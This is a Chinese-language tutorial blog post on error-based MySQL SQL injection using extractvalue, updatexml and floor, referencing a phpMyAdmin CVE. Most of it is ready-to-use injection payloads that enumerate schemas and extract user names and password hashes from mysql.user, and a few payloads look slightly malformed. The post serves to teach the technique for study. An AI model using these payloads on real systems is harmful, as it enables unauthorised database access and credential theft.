SQL注入之报错函数
DepartBoy
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
SQL注入之报错函数
再学点就睡了,就亿点!!
引言
报错注入是sql注入中一种注入方式,用法和平常的注入方式有些差别,回显在报错的页面中。
一、extractvalue函数
1.函数含义: 使用 XPath 表示法从 XML 字符串中提取值,即返回的是一个字符串。
2.用法
- ExtractValue(xml_frag, xpath_expr)
两个字符串参数:
(1). xml_frag: XML 标记片段,xml语言的标签闭合内的值,
(2). xpath_expr: XPath 表达式,匹配xml标签内的值并返回。
例如,
ExtractValue('<a>ccc<b>ddd</b></a>', '/a') AS val1;
val1的值为ccc,而不为ddd,因为a标签中闭合的是ccc,
若是想匹配值为ddd,则如下:
ExtractValue('<a>ccc<b>ddd</b></a>', '//b') AS val2;
此时val2的值为ddd。
3.报错注入使用场景
- 适合无直接回显的sql注入,存在报错页面的回显
4.报错的原因
ExtractValue函数中的两个参数,得是xpath语法才会正常回显,如果不是xpath语法,则会报错并回显。
extractvalue报错会返回其中的sql语句结果。
5.配合函数
原因:报错注入会限制数据库内容不超过32字节,所以灵活使用一些函数来截取数据内容,最后再进行拼接。
- mid函数: 返回从指定位置开始的子字符串
- substr函数:返回指定的子字符串
- concat函数: 返回连接的字符串
6.常用peayload:
例子:CVE-2020-5504 phpmyadmin的后台sql注入(狗头保命,都sql的管理后台了,还在这注入呢)
- 数据库
1'and extractvalue(1,concat(0x7e,(select database()),0x7e))--
- 表名
1'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='mysql' and table_name='user'),0x7e),1) --
- 列名
(1,mid(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='mysql' and table_name='user'),0x7e),1,29),1)
- 数据内容
用户flag:
extractvalue(1,concat(0x7e,(select concat(user) from mysql.user limit 0,1),0x7e))
flag密码:
extractvalue(1,mid(concat(0x7e,(select password from mysql.user limit 0,1)),1,29))
#不超过32字节,需要截取后边剩下的字符
extractvalue(1,mid(concat(0x7e,(select password from mysql.user limit 0,1)),20,29))
二、updatexml函数
updatexml函数与extractvalue函数用法一样,截图先欠着
含义:
payload
1、数据库
updatexml(1,concat(0x7e,(select database())))
2、表名
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
3、列名
updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='table')))
4、字段数据
updatexml(1,concat(0x7e,(select flag from flag)))
三、floor函数(在学了T.T)
**含义:**返回小于等于该值的最大整数。
报错原因:floor()语句报错,是利⽤floor(),count(),group() by冲突报错,当这三个函数在特定情况⼀起使⽤产⽣的 错误。
payload:
floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 DepartBoy 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
HTTP协议 请求包与响应包
2022-02-25
URI的基本格式和URL的区别
2022-02-21
TCPIP 协议栈
2022-02-07